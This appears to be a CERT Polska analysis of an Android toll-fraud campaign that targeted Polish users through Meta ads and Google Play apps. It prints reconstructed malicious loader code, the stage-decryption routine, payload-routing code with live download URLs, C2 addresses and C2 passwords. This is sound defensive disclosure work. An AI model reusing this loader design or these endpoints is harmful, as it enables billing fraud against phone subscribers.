On 14 September 2026, CERT Polska found two Facebook advertisements targeting Polish users with false warnings that their PDF application had expired. Both ads redirected users to the Google Play listing for Messenger Pro, where the unrelated SMS application could be installed. The investigation later expanded to 1235 preserved Meta advertisements across 74 identified profile names. Among them, 852 advertisements under 60 names promoted 17 Google Play applications linked to the operation through code or infrastructure.
The confirmed builds used both messenger and utility covers, and their country policies did not route Poland identically. Messenger Pro sent Polish MCC 260 to its default fraud payload. Phone Cleaner Master, another confirmed build of the same operation, later explicitly selected PL260 for the newer AqMu payload branch. This article uses Messenger Pro as the technical baseline. The app worked as a messenger and could legitimately ask to become the default SMS handler. Behind that cover, the base APK reconstructed an encrypted DEX. This stage retrieved remote data and decrypted a second DEX, which applied the country policy and downloaded the selected fraud payload. In total, execution crossed four layers: the base APK loader, a country gate, a payload router and the selected payload, whose purpose was toll fraud.
Toll fraud is a form of mobile billing abuse in which malware enrolls a subscriber in a paid service without informed consent. Unlike direct premium SMS or call fraud, browser based toll fraud usually has several steps: identify a supported operator, move traffic to the mobile network, open a billing page, provide a telephone number, intercept an SMS verification code and confirm the purchase. The page and verification message may never become visible to the user.
The exact sequence depends on the provider. Some offers accept an SMS keyword, while others require a telephone number and verification code. These steps make toll fraud adaptable. A server can select offers for a specific country or operator, while downloaded code and remote JavaScript keep the provider logic outside of the application submitted to a store. Our earlier analysis of Joker described an android malware family which abused carrier billing. The sample in this article is not attributed to the Joker campaign, but it follows the same broader evolution from simple SMS abuse towards remotely controlled subscription automation.

Figure 1. Typical premium SMS and carrier billing paths used in toll fraud.
In the Messenger Pro policy observed during analysis, Poland, identified by mobile country code (MCC) 260, received the default payload. Its live command and control (C2) server assigned both premium SMS and browser based carrier billing jobs. During controlled execution, C2 JavaScript activated an sms: link without a user gesture and passed its destination and keyword to the native SMS bridge. The values 92505, 92512 and 92513 were SMS short codes used by the subscription pages. Sending the generated keyword to one of them could request or confirm a paid service and charge the subscriber. One captured All4You page associated 92513 with a one time charge of 30.75 PLN. A further job reached a Teleaudio page advertising 17 PLN every seven days.
Premium SMS services in the UKE register
The three short codes returned by the Messenger Pro C2 were checked against the UKE Rejestr Premium, the Polish regulator's public register of premium rate numbers. All three - 92505, 92512 and 92513 - were active registered premium SMS services at a gross price of 30.75 PLN per message, each registered across all four major Polish mobile operators (Orange, T-Mobile, Play and Polkomtel). 92505 is operated by GoMobee LTD (Malta), 92512 by Telefuture Nederland B.V. (Netherlands) and 92513 by RedLeads B.V. (Netherlands). The registered service name for 92505 includes Loovafit and Loovaplay, matching the keywords the malware sent; for 92513 it is Usluga ALL na numerze 92513, matching the ALL 64913 keyword captured during the controlled run. The 30.75 PLN figure also matches the All4You page disclosure captured at runtime. These service companies operate the premium SMS aggregation whose numbers were abused; they are the billing providers, not the operator of the malware campaign. The Teleaudio offer of 17 PLN every seven days was reached through epayment.teleaudio.pl direct carrier billing rather than a premium SMS short code, so it does not appear as an entry in this register.
Distribution and campaign scope
Our investigation began with two Polish ads in Meta's Ad Library. They were displayed under the names Britney Harris and Kenneth Williams and used the same false PDF update theme. Both claimed:
Aplikacja PDF straciła ważność. Jeśli nie zaktualizujesz teraz, nie będziesz mógł otworzyć plików PDF. Jesteś o krok od utraty dostępu. Nie ryzykuj. Zaktualizuj do najnowszej wersji już teraz.
A direct translation reads:
Your PDF application has expired. If you do not update now, you will no longer be able to open PDF files. You are one step away from losing access. Do not risk it. Update to the latest version now.
Both advertisements were active in Meta's Ad Library when we captured them on 14 September 2026. Their Ad Library IDs were 1101937705505412 and 4635863290017072. The second showed fewer than 100 impressions at capture time, but this count described only one advertisement within a much larger inventory.
Clicking either advertisement redirected users directly to the Messenger Pro listing on Google Play. The advertised package was:
com.messages.sms.messenger.textmessage.owyo
Google Play presented the package as Messenger Pro, version 9.0, under the developer name Noah Isaiah Shortland. Its screenshots advertised a password lock, visual customization and emoji support. Nothing in the listing connected the application to PDF files or updates.
CERT Polska reported Messenger Pro to Google on 15 September 2026, after which Google removed the application from its store. This stopped new installations through its listing but did not affect copies already installed on users' devices. The C2 and supporting infrastructure remained operational during our analysis, including after the store listing was removed, and continued to accept controlled Polish registrations and issue jobs.
Campaign scale across Meta and Google Play
The investigation started with a narrow scope: two advertisements leading to a single application. After characterizing Messenger Pro, we checked whether more advertisements promoting this application existed. Repeated collection expanded the collection to 1235 unique Meta advertisements across 74 identified profile names. The advertisements promoted 29 identified Google Play packages, while 90 removed records no longer exposed a destination. Code and infrastructure connected 17 of those applications to the operation. What had looked like a single malicious APK with a handful of advertisements was part of a coordinated and continuing distribution effort.
The operation relied on both platforms at once. Meta supplied paid acquisition aimed at Polish users: advertisements placed inside a familiar feed carry the credibility of the advertising platform itself, so the false PDF warnings looked like ordinary product promotion. Google Play supplied the installation path that users treat as reviewed and trustworthy. The categories below are deliberately separate. A shared advertiser profile or visual theme does not by itself establish that two APKs contain the same malware.
Messenger Pro provided the baseline for campaign mapping. We linked other advertisements and applications to the campaign only through verifiable evidence: exact ad destinations, matching media hashes, shared loader code or specific DNS, TLS and hosting overlaps. Similar names or lures alone were insufficient.
| Evidence | Ads | Profile information |
|---|---|---|
| Confirmed toll fraud build | 532 | 28 named profiles |
| Related malicious loader; final fraud payload not recovered | 320 | 33 named profiles |
| Unrelated applications on reused advertiser profiles | 98 | 2 named profiles |
| Same advertising campaign, different APK implementation | 94 | 2 named profiles; 11 records without a profile label |
| Advertisement removed and destination unavailable | 90 | 8 named profiles; 15 records without a profile label |
| Advertised application identified, APK unavailable | 82 | 8 named profiles; 25 records without a profile label |
| Exact campaign media reuse; recovered APK not code confirmed | 19 | 2 named profiles; 5 records without a profile label |
| Total preserved | 1235 | 74 identified profile names |
The profile names are advertising labels, not verified identities. We keep unavailable applications and removed destinations outside the code confirmed count. We also distinguish applications promoted with exact campaign media when their recovered APK did not expose the loader. The 98 advertisements for Quick Show and BlushToon came from profiles which also promoted confirmed operation software, but both APKs were comic readers with different code and infrastructure. Their presence indicates advertiser account reuse, not a link to this toll fraud operation.
| Application or package | Ads | Analysis status |
|---|---|---|
| Cool Wallpaper | 153 | Toll fraud sample confirmed |
| Text Chat | 135 | Toll fraud sample confirmed |
| Seed Text Messages | 133 | Related malicious loader confirmed |
| Max Messenger | 121 | Toll fraud sample confirmed |
| Instant Messages | 99 | Related malicious loader confirmed |
| Colorful Message | 94 | Same advertising campaign, different hidden code path |
| Quick Show | 75 | Advertiser profile overlap only, another malware campaign |
| Messenger Pro | 49 | Toll fraud sample confirmed |
| Phone Cleaner Master | 40 | Toll fraud sample confirmed |
| PDF Scanner Art | 34 | Toll fraud sample confirmed |
| Light SMS | 25 | APK unavailable |
| BlushToon | 23 | Advertiser profile overlap only, another malware campaign |
| PDF Scanner Pro | 21 | Related malicious loader confirmed |
| Easy Messages | 15 | APK unavailable |
| Easy Messages Pro | 15 | Exact campaign media reuse; recovered APK not code confirmed |
| Short Messages | 11 | Related malicious loader confirmed |
com.trusted.pdfeditor.xnqala |
11 | APK unavailable |
com.sms.mms.message.chat.onih |
10 | APK unavailable |
| Text Magic Messages | 10 | Related malicious loader confirmed |
| Lite PDF Scanner | 10 | Related malicious loader confirmed |
com.goconversation.motsms |
10 | APK unavailable |
| Text Message Pro | 9 | Related malicious loader confirmed |
| Quick Chat Message | 8 | Related malicious loader confirmed |
| Text Messages | 7 | Related malicious loader confirmed |
com.purelyclean.puressd |
7 | APK unavailable |
| Go Cleaner Pro | 7 | Related malicious loader confirmed |
| Quick Message Pro | 5 | Related malicious loader confirmed |
| Comic Reader | 4 | Exact campaign media reuse; recovered APK not code confirmed |
site.plmn.qazcaqzsw |
4 | APK unavailable |
Six applications exposed recovered toll fraud components or direct payload links. Eleven additional APKs contained malicious loaders linked by their advertising destinations, hidden Android components, activation logic and infrastructure. Their final fraud modules were not recovered, so we keep that evidence level separate. Together, these 17 applications accounted for 852 advertisements under 60 displayed profile names.
Colorful Message reused exact advertising images from the same campaign and was promoted by 94 Meta advertisements. During the investigation we also found nine TikTok advertisements for the same package. Its hidden native execution path differed from the confirmed loader family, so we treat it as part of the same advertising campaign without claiming that it used the same malware implementation. Light SMS, Easy Messages and five newly identified removed packages remain supporting evidence because their APKs were unavailable. Easy Messages Pro and Comic Reader were exact destinations of reused campaign media, but the recovered APK versions did not expose the operation loader.
The 60 displayed profile names attached to operation destinations were:
| Displayed profile name | Meta profile ID | Operation linked Google Play destinations | Ads |
|---|---|---|---|
| Britney Harris | 61593727542707 |
Messenger Pro, Text Chat, Cool Wallpaper | 62 |
| Joshua Wilson | 61593976501688 |
Max Messenger, Messenger Pro | 55 |
| James Davis | 61594047778610 |
Cool Wallpaper, Max Messenger | 42 |
| Sarah Anderson | 61593960332202 |
Max Messenger | 36 |
| Mary Garcia | 61593595067801 |
Text Chat | 33 |
| German Barthelmes | 61592895305250 |
Phone Cleaner Master | 30 |
| Lucila Cauthorne | 61592754971282 |
Cool Wallpaper | 28 |
| Jared Rianna Max | 61552742986202 |
Seed Text Messages, Text Message Pro | 27 |
| Tonda Pantaleo | 61592879045513 |
Cool Wallpaper | 26 |
| Ryan Violet Nicholas | 61552929878708 |
Seed Text Messages, Text Message Pro | 25 |
| Eerie Pictures | 61592563643483 |
PDF Scanner Art | 24 |
| Vicious Destiny | 61592419769159 |
Text Chat | 20 |
| Britney Thomas | 61594128055022 |
Text Chat | 18 |
| Golebiowski Niko Maney | 61552344944740 |
Instant Messages | 18 |
| Luminous Digest | 61592160521034 |
Text Chat | 18 |
| Hailee Tant Tristan | 61552953277786 |
Seed Text Messages | 17 |
| Julia Holler Yardim | 61552810942953 |
Instant Messages | 16 |
| Reed Jordan Naceir | 61552904260028 |
Seed Text Messages | 16 |
| Sigh Strategy | 61592494676578 |
Text Chat | 16 |
| Donald Smith | 61594085186962 |
Max Messenger, PDF Scanner Pro | 15 |
| Duffy Julie Kendra | 61552352084393 |
Instant Messages | 15 |
| Kenneth Lee | 61593871056189 |
Text Chat | 15 |
| Blaine Damiani Castro | 61552353584614 |
Instant Messages | 14 |
| Diana Smith Follum | 61552802543271 |
Seed Text Messages | 14 |
| Bentley Neild Elise | 61553245254990 |
Seed Text Messages | 13 |
| Carroll Emma Katie | 61552836531868 |
Instant Messages | 13 |
| Joshua Martin | 61593802659296 |
Messenger Pro | 13 |
| Paul White | 61593643846011 |
Max Messenger | 12 |
| Alfredo DiGiovanni Corder | 61552422402694 |
Seed Text Messages | 11 |
| Annette Przybycien | 61593086698190 |
Max Messenger | 11 |
| Nicky Tant Jaclynn | 61579450411967 |
Short Messages | 11 |
| Forbidden Mirage | 61592017277145 |
Phone Cleaner Master | 10 |
| Icy Theater | 61592359380283 |
Lite PDF Scanner | 10 |
| Jene Stensrud | 61592626186875 |
Text Magic Messages | 10 |
| Willia Lymon | 61592621566557 |
PDF Scanner Art | 10 |
| Toby Cagle | 61593027060647 |
Max Messenger | 9 |
| Alves Niggebrugge Skyler | 61578644399109 |
Quick Chat Message | 8 |
| Jade Allen | 61593038820356 |
PDF Scanner Pro | 8 |
| Andrew Johnson | 61593604607638 |
Cool Wallpaper | 7 |
| Devotion Stories | 61592197271568 |
Text Messages | 7 |
| Kenneth Williams | 61593735942449 |
Messenger Pro | 7 |
| Kevin Grube DeLucia | 61552901649886 |
Seed Text Messages | 7 |
| Lashawnda Yeargin | 61593182873946 |
Cool Wallpaper | 7 |
| Yearning Heavenly | 61592216618614 |
Go Cleaner Pro | 7 |
| Blazing Summary | 61592244757479 |
Instant Messages | 6 |
| Cipher Digest | 61592513695680 |
Instant Messages | 6 |
| Wander Desire | 61592344833209 |
Instant Messages | 6 |
| Eternal Wall | 61592636690370 |
Instant Messages | 5 |
| World Diary | 61592643594315 |
Quick Message Pro | 5 |
| Ian Malito | 61592606567123 |
PDF Scanner Pro | 4 |
| Lester Sakihara | 61592758690995 |
Cool Wallpaper | 4 |
| Reed Elliott J | 61552954417589 |
Seed Text Messages | 4 |
| Susan Gonzalez | 61593871176440 |
Max Messenger | 4 |
| William Lee | 61594177762913 |
Max Messenger | 4 |
| Rodriguez Kevin Williams | 61553167738054 |
Seed Text Messages | 3 |
| Sarah Lee | 61593639406430 |
Text Chat | 3 |
| Elwell Szczerba Crawford | 61552361744011 |
Seed Text Messages | 2 |
| Haggard Brunernqz | 61594305200238 |
PDF Scanner Pro | 2 |
| Jubb Francisco Boddorff | 61552469711891 |
Seed Text Messages | 2 |
| Lauren Wynn Brock | 61553077532051 |
Seed Text Messages | 1 |
Britney Harris also displayed 12 advertisements for Easy Messages, and Kenneth Williams displayed 21 for Light SMS. We downloaded a further 898 advertising files and grouped them into 45 exact SHA-256 clusters. 23 clusters matched files from the earlier collection. One unchanged file, SHA-256 90b87d8b4dda273ef64853a9997bba0844f0bc02071ae5101d1be2693be1b861, appeared in 55 new advertisements across 20 packages and 39 identified profiles, in addition to one earlier record. The previously leading file, SHA-256 7299f7de6acf366fc7f32f7c3873a09e11a08d9493aaa508cd2b2ee816c5d284, grew from 26 to 50 observed advertisements. This media reuse supports common campaign production, while shared code and infrastructure provide independent technical evidence.
Every application discovered during the investigation was reported to Google and removed from the store. We also reported the advertisements to Meta, and these were the reports that led Meta to remove them. The removal covered only the advertisements we identified. Other advertisements in the same operation may have remained active without our knowledge, although advertisements have a limited lifetime and some could have expired on their own. The removals did not stop distribution entirely: new packages appeared, the C2 infrastructure remained active and copies installed earlier could still reach it.
This campaign provides a current example of the problem described in our March 2025 evaluation, which found that Meta had inadequately implemented several proposed safeguards. These included better handling of reports from ordinary users, proactive blocking of repeat advertisers and integration of the CERT Polska Warning List. In August 2026, after the Ministry of Digital Affairs published its correspondence with Meta, Deputy Prime Minister Krzysztof Gawkowski announced that he had formally asked the European Commission to impose a penalty of at least 250 million euro over Meta's handling of fraudulent advertising in Poland.
Shared loaders and infrastructure
Advertising evidence established the campaign's scale, while code and infrastructure linked the applications to the same operation. We compared 22 Android builds recovered during the investigation and identified a recurring payload delivery architecture.
In the typical path, a working cover application reconstructed an encrypted DEX at runtime. The loader verified its package name and the device MCC, queried a compact policy endpoint, decrypted a second DEX responsible for payload selection, and downloaded the final payload from Alibaba Cloud Object Storage Service (OSS). Cool Wallpaper implemented part of this chain in native code. Max Messenger used the encrypted Java country gate but moved its next routing stage into ARM64 code.
The later builds retained the cover application, hidden host components and remote activation gate, but varied the final handoff. Text Messages, Short Messages, Seed Text Messages and Instant Messages passed a validated or transformed server response into an obfuscated native library. Quick Chat Message decrypted the server response and loaded it directly through InMemoryDexClassLoader. Six applications recovered during the investigation followed the same two designs. PDF Scanner Pro, Text Magic Messages, Go Cleaner Pro and Text Message Pro handed validated policy responses to native code. Quick Message Pro and Lite PDF Scanner reconstructed authenticated DEX containers and loaded them from memory. Their injected startup calls and hidden host components matched the operation even though we did not recover their final fraud modules.
| Application | Package | Policy domain | Recovered object or endpoint |
|---|---|---|---|
| Storage Cleaner | ai.storage.cleaner.phonecleaner.junkfiles.wlchyh |
api.bcvsri.link |
aqmu2115 |
| Document Reader | fast.documentreader.pdfviewer.kqvndr |
api.sdbnxm.link |
aqmu2116 |
| Text Chat | com.text.chat.messaging.sms.vccqaho |
api.trixbn.link |
fallback 8.219.222.81 |
| Smart Clean | com.smartcleansdhcn.tools |
api.fdghsn.link |
aqmu2124, fallback 47.245.84.227 |
| Clean Max | com.cleanmax.imam.cleaner.upvvpdh |
api.fgsbns.link |
aqmu2132 |
| PDF Scanner Art | com.pdfscanner.artyo |
api.ghdnbv.link |
aqmu2145, fallback 43.106.56.154 |
| Phone Cleaner Master | com.ms.phonecleaner.clean.junk.pkoza |
api.hsbdbv.link |
aqmu2150, C2 47.84.193.174, fallback 47.84.57.5 |
| Frekas | com.storage.phone.delete.frekas |
api.ksbxnc.link |
aqmu2154, fallback 47.84.66.120 |
| Messenger Pro | com.messages.sms.messenger.textmessage.owyo |
api.tehsnb.link |
aqmu2155, C2 47.84.77.127 |
| Max Messenger | com.maxmessenger.sms.pkqlav |
api.yandeb.link |
ARM64 routing stage recovered |
| Cool Wallpaper | com.supono.ihgsvco |
api.uhsbxh.link |
/ehed/mcdjd; encrypted ELF asset rs9w51 |
| Text Messages | com.cuff.textsms.messages.patk |
api.evabunt.link |
/ywes/tmop; native library lzopvfrnzx |
| Short Messages | com.shrtsms.xxmessages |
api.piaagt.click |
/foung/shrts; native library tfbgoemroyhv |
| Seed Text Messages | com.seeds.textsms.avon |
api.fuzwek.click |
/pekui/zzmer; native library ewytjh |
| Instant Messages | com.instantmessages.textdatamessages |
api.vamko.click |
/edapsn/sewkx; native library dmiui |
| Quick Chat Message | com.chatmessages.textsmsmessanger |
api.swepqk.click |
/zleir/oyfen; remote floral.shift.Coffee.jubilant() |
| PDF Scanner Pro | com.pdf.quantum.scanner |
api.piaagt.click, fallback api.funtpjw.click |
/rumag/ksgpr; native library jcxo |
| Text Magic Messages | com.efasms.magical.tmmssages |
api.tegonp.click |
/ver1/textmg; native library rdxmrbngoifk |
| Go Cleaner Pro | com.merclean.approximating |
api.merfunk.click |
/dafiv/taqmg; native library cjbfhbuzpra |
| Text Message Pro | com.tipro.smstext.message |
api.dokersxxnv.click |
/naizboa/bhbdxcm; native library hlkmd |
| Quick Message Pro | com.msg.quick.secure.chsrkm |
Not recovered | 188,250 byte authenticated DEX container |
| Lite PDF Scanner | imagetopdf.pdfconverter.jpgtopdf.avabcl |
Protected in loader | Authenticated DEX loaded through method handles |
Historical WHOIS records show that all 20 parent domains were registered through Amazon Registrar between 10 July and 17 September 2026. Passive DNS mapped the original 16 api hosts to distinct Aliyun US East load balancers. The four new parent domains followed the same AWS name server template and their api hosts resolved to pairs of Alibaba addresses. Two earlier domain pairs were registered only 29 and 38 seconds apart, which is consistent with an automated domain registration process. Eight recovered OSS objects shared the aqmu prefix and identifiers from 2115 to 2155.
The four newly recovered parent domains shared the exact historical WHOIS hashes for registrant organization, telephone number and street address with piaagt.click, tehsnb.link and hsbdbv.link. This provides a more specific connection than common registrar or cloud provider use. PDF Scanner Pro supplied another direct bridge: its primary endpoint reused api.piaagt.click, which was already present in Colorful Message and Short Messages, although every build used a different path, marker and native library. Together, the registration data, DNS structure, object naming and code design support common infrastructure preparation.
Phone Cleaner Master supplied the clearest later comparison with the Messenger Pro baseline. On 16 September, its policy endpoint returned:
poirjfirenhrhfgwv_GUOJIA=999_PL260_NG621_AT232
The marker activated its embedded routing stage, while the suffix selected MCC 260, 621 and 232 for the newer AqMu branch. Polish devices therefore downloaded aqmu2150 and loaded com.dzyna.mytsx.AqMu.land(). The resulting DEX contained 112 classes, the same class count and obfuscated package size distribution as the AqMu payload recovered from Messenger Pro.
The two AqMu builds used separate C2 configurations. The Messenger Pro build used 47.84.194.202/asnvoycs with password u18r3ze2, while the Phone Cleaner Master build used 47.84.193.174/j26j8vf7 with password trd6rgu5. Both retained fallback address 129.226.172.250, event endpoint api.appbhwljk.com/api/v3/wkev and the same embedded event token. These code and configuration matches link the payloads more specifically than common cloud hosting.
Messenger Pro provided a direct pivot from the sample to the network infrastructure: its final payload communicated with 47.84.77.127 over plain HTTP. We examined the passive service history of this IP for identifiers shared with endpoints recovered from related builds. VirusTotal recorded a TLS service on port 443 which, on 10 September 2026, presented an expired Let's Encrypt certificate issued for ablefee.wiki:
Certificate SHA-256: 5848152508acc864869500c0dfff20723a087019eb717131dc6d7df51fbd75e6
Subject CN: ablefee.wiki
Issuer: Let's Encrypt R11
Valid from: 2025-02-06 05:00:46 UTC
Valid until: 2025-05-07 05:00:45 UTC
Observed on IP: 47.84.77.127:443, 2026-09-10
This passive TLS observation is how ablefee.wiki entered the investigation. The domain does not appear in the Messenger Pro code or its network requests, and passive DNS does not connect it to 47.84.77.127. Its value is the exact certificate hash, which VirusTotal also observed on five IP addresses independently recovered from related loader samples:
| IP address | Sample context | First VT certificate observation in 2026 |
|---|---|---|
43.98.201.44 |
earlier PDF branch | 4 May |
43.106.58.250 |
AI Cleaner fallback | 31 August |
8.219.222.81 |
Text Chat fallback | 8 September |
47.245.84.227 |
Smart Clean fallback | 12 September |
47.84.66.120 |
Frekas fallback | 14 September |
The same expired certificate was therefore presented by six independently linked endpoints. Presenting an identical certificate during TLS negotiation normally requires access to the corresponding private key, so this reuse supports shared infrastructure management.
Evidence assessment
Taken together, the evidence links 17 Google Play applications and 852 Meta advertisements to a coordinated Android toll fraud operation targeting Polish users. Six applications exposed recovered toll fraud components or direct payload links. Eleven additional applications exposed related malicious loaders, although their final fraud modules could not be recovered. Reused advertising media connects Meta profiles with Google Play listings, while the loader design, hidden host components, WHOIS records, OSS object names and domain registration patterns connect the analyzed builds. The Messenger Pro C2 supplied live premium SMS and recurring carrier billing jobs, while the later Phone Cleaner Master policy explicitly selected Polish MCC 260 for its AqMu branch. Certificate reuse provides an additional infrastructure link, but it does not prove that every historical endpoint was controlled by the same person. We therefore make no attribution concerning the operator's identity, nationality or location.
Technical analysis
We reconstructed the complete execution chain through static analysis, network traffic inspection and controlled execution on Android 15 with a Polish mobile operator profile. Static findings were compared with decrypted C2 exchanges, application logs and WebView activity. In this article, observed describes behavior captured during execution, while capability describes implemented code that was not activated in our tests.
Unless stated otherwise, the execution details below describe the Messenger Pro baseline. Related builds preserved the same general delivery design but changed cover applications, policy markers, routing implementations, payload objects and C2 configuration.
Cover application and SMS permissions
Messenger Pro is not an empty shell. In the test environment it completed setup and displayed a working inbox with message categories, private conversations, spam blocking and an archive. Its permission screen asserted: Your privacy comes first. No unnecessary permissions.
After we selected it as the default SMS handler through the normal android interface, android granted READ_SMS, RECEIVE_SMS, RECEIVE_MMS and SEND_SMS with the GRANTED_BY_ROLE flag. Phone state, calls, contacts and notification posting were also granted. Overlay access was allowed separately.
This is the key permission disguise. Google Play permits a registered default SMS handler to request restricted SMS permissions, subject to review. The cover uses them for messaging, while downloaded code uses the same grants for billing fraud.
The operation did not require every cover to request the same permissions. Phone Cleaner Master used a utility cover and did not request READ_SMS, RECEIVE_SMS or SEND_SMS. Its downloaded AqMu payload still contained the generic SMS routine, but android would not normally allow that routine to transmit messages in this host. Browser billing, mobile network binding and notification features remained available. Premium SMS and Direct Carrier Billing are separate toll fraud paths: the first sends a keyword to a short code and requires SEND_SMS, while the second opens a billing page in a hidden WebView and charges through the subscriber's mobile network identity without sending any SMS. The messenger covers could do both; the utility cover was limited to carrier billing. This difference shows that the operator could reuse a payload framework while enabling only the capabilities supported by each cover application.
Google Play delivered Messenger Pro as a split APK installation consisting of the base APK and a required ARM64 configuration split. Analysis recovered a country gate, a payload router and two alternative fraud payloads, all implemented as DEX files. Each execution route used four layers: the base APK, the country gate, the payload router and one selected fraud payload.
| Artifact | Role | Size |
|---|---|---|
| Base APK | Messenger and loader | 18,512,332 B |
| ARM64 split | Required application libraries | 8,597,819 B |
| Stage 1 | Package and country gate | 80,384 B |
| Stage 2 | Payload router | 21,860 B |
| Default payload | Fraud payload used by Poland and other allowed MCCs | 174,916 B |
| Targeted payload | MCC 208 and 460 payload | 216,724 B |
The base APK acted as a loader and contained stage 1 in encrypted form. Once decrypted, stage 1 validated the package name and SIM MCC, then fetched a remote marker that activated decryption of stage 2 embedded within it. Stage 2 applied the remote country policy and downloaded the selected fraud payload. In this Messenger Pro build, Polish MCC 260 received the default branch. The following execution flow summarizes this chain.

Figure 2. Messenger Pro execution flow. Red marks the route selected for Polish MCC 260 by the policy observed on 15 September 2026.
The base APK contained 39,990,208 bytes of DEX code across nine files. The loader and the encrypted stage 1 were included in classes9.dex, which represented 0.552% of those bytes. One injected call blended into a large Application.onCreate() method, while integer arrays hid the first DEX header.
We cannot determine what Google's internal review saw or whether an earlier release was clean. We recovered version 9.0 only. Android guidance states that many forms of remote dynamic code loading violate Google Play policies. The loader reconstructed stage 1 as a byte array and loaded it with InMemoryDexClassLoader. Stage 1 then decrypted stage 2 the same way, and stage 2 downloaded the final DEX from object storage. Stage 1, stage 2 and the final DEX were all executed with InMemoryDexClassLoader.
Execution chain and stage transitions
Base APK to stage 1
Execution did not require the user to open the application. Package Manager recorded installation at 12:54:02. At 12:54:03, android's contacts process requested the application's exported Bluetooth Message Access Profile (MAP) content provider, which declared itself syncable. ActivityManager started the application process to serve that request:
09-15 12:54:03.695 I ActivityManager: Start proc 4257:
com.messages.sms.messenger.textmessage.owyo/u0a211 for content provider
{.../provider.BluetoothMapProvider}
The provider itself is a stub. Its importance is that the request started the application process without opening the interface. Android initializes content providers before Application.onCreate(). Startup then reached MyApplication.onCreate(), where one injected call launched the loader before normal messenger initialization. Reduced to the relevant statements, the code is:
@Override
public void onCreate() {
super.onCreate();
OePZg.zbM9Zl8(this); // injected loader
f44385o000O00 = this; // messenger initialization follows
}
public static void zbM9Zl8(Context context) {
if (context != null)
new Thread(new bMOnRYZisw(context.getApplicationContext())).start();
}
The manifest also declares host components used by later stages: a disabled launcher alias, the WorkJobService job service, a transparent activity labelled 6002, and a notification listener service.
The loader builds an 80,433 byte array through 73 generated methods. Reconstructing the array revealed the following authenticated container:
magic 0b09b12a | version 01 | nonce 12 bytes | ciphertext 80,384 bytes | HMAC 32 bytes
The master key is reconstructed from integer arrays. The custom routine derives two SHA-256 keys, verifies the HMAC, then XORs each ciphertext block with a SHA-256 stream:
auth_key = SHA256(master_key + b"\x5a" + magic)
stream_key = SHA256(master_key + b"\x33" + magic)
assert HMAC_SHA256(auth_key, blob_without_tag) == tag
for counter in range(number_of_blocks):
stream = SHA256(stream_key + nonce + counter.to_bytes(4, "big"))
plaintext_block = ciphertext_block XOR stream
The verified plaintext began with dex\n038\0, confirming that decryption had recovered a valid android DEX file. Here, 038 identifies the DEX format version, not the application or malware version. The loader passed the recovered stage 1 bytes directly to InMemoryDexClassLoader:
ClassLoader loader = new InMemoryDexClassLoader(
ByteBuffer.wrap(dex), context.getClassLoader());
Class<?> gate = loader.loadClass("com.security.check.Gate");
gate.getDeclaredMethod("a", Context.class).invoke(null, context);
The reflective call to Gate.a(context) marks the end of the base APK loader and the beginning of stage 1.
Stage 1 to stage 2
Stage 1 enables the launcher alias, verifies the package name and continues only for an allowed SIM MCC. Its control flow, with names normalized, is:
if (!matches(expectedPackage, context.getPackageName(), '|')) {
Process.killProcess(Process.myPid());
} else if (allowedMcc(context)) {
new Thread(new SecurityCheckTask(context)).start();
}
The decoded allowlist covers Thailand, Indonesia, Malaysia, Turkey, Saudi Arabia, the United Arab Emirates, Poland, Austria, Greece, Germany, Nigeria, France, Romania, Switzerland and China:
520 510 502 286 420 424 260 232 202 262 621 208 226 228 460
The test environment initially exposed its default MCC 310, which is not present in the allowlist. We used this configuration to confirm the rejection path, although stage 1 had already enabled the launcher alias before the first screen appeared. We then configured the test environment to report SIM MCC 260 and followed the route intended for Polish devices. Stage 1 accepted this value and requested the fixed policy endpoint at hxxps://api.tehsnb[.]link/sabd/mckd. On 15 September 2026, it returned the following shared activation and routing response:
HTTP/2 200
content-type: text/plain; charset=utf-8
cbhedbgegevddgwv_GUOJIA=460_FR208
The response did not classify the test device as French. It was a shared policy and supplied no executable code or decryption key. The marker cbhedbgegevdd instructed stage 1 to continue. The suffix _GUOJIA=460_FR208 listed the MCC values assigned to the targeted route: 460 for China and 208 for France. Polish MCC 260 was absent, so stage 2 selected the default route. Stage 1 already contained the encrypted stage 2 container and a second hardcoded master key. After finding the marker, it verified the container HMAC, decrypted the 21,860 byte DEX with the same construction based on SHA-256 and loaded it through InMemoryDexClassLoader.
Stage 1 then invoked paint.august.Osmanthus.flower(policyBody), passing the complete HTTP response as a string. This call marks the end of stage 1 and the beginning of stage 2.
The marker and policy values were specific to this build. Phone Cleaner Master used marker poirjfirenhrhfg and the same _GUOJIA convention. Its response selected PL260, NG621 and AT232, then activated a 39,264 byte routing DEX already encrypted inside stage 1. In both applications the server response supplied permission to continue and the country policy, while the encrypted executable and its decryption key were already present locally.
Stage 2 to the fraud payload
Stage 2 receives the complete policy response in Osmanthus.flower(). It extracts the text following _GUOJIA=, reads the first three digits of the SIM operator and selects one of two remotely hosted payloads. The relevant routing logic, with names normalized, is:
String selected = policy.substring(policy.indexOf("_GUOJIA=") + 8);
String mcc = telephonyManager.getSimOperator().substring(0, 3);
boolean targeted = selected.contains(mcc);
if (targeted) {
config = new Config(
"https://tuonew.oss-me-east-1.aliyuncs.com/aqmu2155",
"dewqq_rsp", "dewqq",
"com.dzyna.mytsx.AqMu", "land", true);
} else {
config = new Config(
"https://boitim.oss-eu-west-2.aliyuncs.com/taoxe",
"oyoangon", "gasdg",
"com.jk.MainEntry", "init", false);
}
start("47.84.77.127", config);
Each configuration contains the payload URL, cache filename, telemetry prefix, entry class, entry method and a branch flag. The 47.84.77.127 argument becomes the C2 address only for the default payload. For the targeted branch, stage 2 replaces the two entry arguments with the names of LpMsdqActivity and NotificationTool; that payload contains its own C2 address, 47.84.194.202.
Internal diagnostics call the routes new and old, but those labels do not describe their operational status. We use targeted and default according to their selection logic.
The Messenger Pro default payload was not specific to Poland. Stage 2 selected it for every allowed MCC except 208 and 460. The payload reported the full MCC/MNC during C2 registration, allowing the backend to assign country or operator specific jobs. In our controlled run, MCC/MNC 26001 was classified as PL and received Polish premium SMS and carrier billing tasks.
This routing decision was not fixed across the operation. In Phone Cleaner Master, the live policy included PL260, so the same MCC selected the newer AqMu branch instead. That build downloaded aqmu2150, invoked com.dzyna.mytsx.AqMu.land() and used 47.84.193.174/j26j8vf7 as its primary C2 configuration. The contrast shows that labels such as default and targeted describe a decision within one build, not permanent country assignments.
